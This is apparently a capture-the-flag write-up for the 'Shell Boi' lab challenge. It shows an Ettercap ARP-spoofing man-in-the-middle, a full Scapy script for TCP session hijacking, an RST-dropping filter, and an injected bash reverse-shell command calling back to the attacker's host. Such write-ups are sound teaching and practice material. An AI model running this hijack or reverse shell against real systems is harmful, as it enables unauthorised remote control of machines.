Shell Boi
Unencrypted remote shell leads to TCP session hijacking and RCE through man-in-the-middle (MITM) attack

Challenge

He sells linux shells on the shell store.
Author: f4lcon​

Solution

Reconnaissance

When scanning the network, I found that only 172.30.0.5 and 172.30.0.8 were up. However, no ports seemed to be open.
Port 1337 on 172.30.0.5 was "open", but the service closes the connection immediately after the handshake is completed.
1
Nmap scan report for 172.30.0.5
2
Host is up (0.042s latency).
3
Not shown: 65534 closed ports
4
PORT STATE SERVICE VERSION
5
1337/tcp open tcpwrapped
6
MAC Address: 02:42:1D:65:54:70 (Unknown)
Copied!
172.30.0.8, on the other hand, had no open ports.
This is weird, the category was "Network Pentest"! Anyway, I theorized that perhaps 1337 was indeed open, but the firewall blocks anyone other than 172.30.0.8 from accessing the service?

Man-in-the-Middle

Well, what better way to test this theory than to sniff the traffic? I tried using Ettercap to perform a man-in-the-middle between 172.30.0.5 and 172.30.0.8, and it worked! There were no defences in place, and I could now sniff the traffic between them.
Filtering the traffic on port 1337, we can see quite a lot of connections. Let's start with following one of those connections:
172.30.0.8 is sending the following base 64 encoded message to 172.30.0.5, on port 1337:
The two lines translate to 172.30.0.8 and 34599 respectively.
Hm... filtering the traffic on port 34599, some interesting traffic appears:
Okay, now we understand what is happening.
  • 172.30.0.8, the client, sends a request to the server in the form of a base 64 encoded message specifying the receiving IP address and port number.
  • 172.30.0.5, the server, upon receiving the request, sends an unencrypted shell to the specified IP address and port number.

Hijacking the Session

Essentially, we need to intercept the TCP connection, and spoof a response containing our custom command to the server. This is called TCP session hijacking, which builds on top of a MITM attack. The idea is that we have to calculate the correct SEQ and ACK numbers, in order to spoof a packet as the client.
In a TCP connection, if invalid SEQ numbers are received, the receiver simply discards the packets. Initial sequence numbers (ISNs) are thus randomised, preventing SEQ numbers from being predicted. Arbitrarily injected packets by an attacker "guessing" the SEQ number would therefore be likely to have invalid SEQ numbers.
However, if an attacker is able to achieve a man-in-the-middle attack, it would be trivial to obtain the relevant SEQ numbers of TCP packets transmitted between two nodes.
The following script implements this (this script is run after first establishing a MITM using Ettercap - we could also use Scapy to implement the MITM, but it gets really messy and Scapy faces its own limitations too).
1
from scapy.all import *
2
import argparse
3
import global_vars
4
​
5
​
6
def sniff_parser(packet):
7
if IP in packet:
8
print(packet.summary())
9
​
10
​
11
def sniffer_thread(callback, pkt_filter, iface):
12
while True:
13
sniff(
14
prn=callback,
15
filter=pkt_filter,
16
count=1,
17
iface=iface
18
)
19
​
20
​
21
def forge_response(p, command):
22
​
23
print(f"Received: SEQ {p[TCP].seq}, ACK {p[TCP].ack}, Payload {p[TCP].payload}")
24
​
25
ip_total_len = p[IP].len
26
ip_header_len = p[IP].ihl * 32 // 8
27
tcp_header_len = p[TCP].dataofs * 32 // 8
28
tcp_seg_len = ip_total_len - ip_header_len - tcp_header_len
29
​
30
# Send command to server
31
cmd_ether = Ether(src=p[Ether].dst, dst=p[Ether].src)
32
cmd_ip = IP(src=p[IP].dst, dst=p[IP].src)
33
cmd_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq + tcp_seg_len, flags="PA")
34
​
35
command = command + '\r\n'
36
cmd = cmd_ether / cmd_ip / cmd_tcp / command
37
​
38
return cmd
39
40
​
41
def hijack(p):
42
​
43
data = str(p[TCP].payload)
44
print("Received:", data)
45
46
if 'root' not in data:
47
return
48
49
cmd = forge_response(p, global_vars.CMD)
50
51
print('Spoofed command: ', cmd[TCP].payload)
52
​
53
print("[+] Executing command...")
54
sendp(cmd, verbose=0, iface=global_vars.IFACE)
55
​
56
# sys.exit(0)
57
​
58
​
59
def main():
60
61
parser = argparse.ArgumentParser()
62
​
63
parser.add_argument(
64
'-i', '--interface', default=conf.iface, help='Interface to use.'
65
)
66
​
67
parser.add_argument(
68
'client', help='Client IP address.'
69
)
70
parser.add_argument(
71
'server', help='Server IP address.'
72
)
73
​
74
parser.add_argument(
75
'cmd', help='A command to execute.'
76
)
77
​
78
args = parser.parse_args()
79
​
80
global_vars.MY_MAC = get_if_hwaddr(args.interface)
81
global_vars.MY_IP = get_if_addr(args.interface)
82
global_vars.IFACE = args.interface
83
global_vars.CMD = args.cmd
84
85
pkt_filter = f"src host {args.server} and tcp"
86
87
sniffer = Thread(target=sniffer_thread, args=(hijack, pkt_filter, global_vars.IFACE))
88
sniffer.start()
89
​
90
​
91
if __name__ == '__main__':
92
main()
93
​
Copied!
One small problem, though. When the client (172.30.0.8) sends an RST, the connection is closed before we get a chance to send our spoofed command! To get around this, I used the following Ettercap filter to drop the RST and RST, ACK packets.
1
if (ip.src == '172.30.0.8') {
2
if (tcp.flags == 4 || tcp.flags == 20) {
3
drop();
4
msg("Filter Ran.\n");
5
}
6
}
Copied!
The syntax for running Ettercap with the filter is:
ettercap -T -q -i tap0 -F shellboi.ef -M ARP /172.30.0.5\;172.30.0.8///
Now, we can run the Python script and specify our desired command. Our command is bash -c "bash -i >& /dev/tcp/172.30.0.14/1337 0>&1", which sends a reverse shell from the server to us.
The next time that a shell is sent to the client, our script will intercept the traffic and send the reverse shell payload to the server, allowing us to catch a shell, and obtain the flag.
The flag is inctf{Ha!Security_1s_4_my7h!!!}.
And that, everyone, is why we use SSH instead of Telnet.

On Hindsight...

There was an easier way to solve this. After performing the ARP spoofing attack using Ettercap, we could have just forged the base 64 encoded request, specifying the IP address and port of our choice to receive the shell (no scripting required?).
But hey, this was more fun, and probably more realistic!
Last modified 3mo ago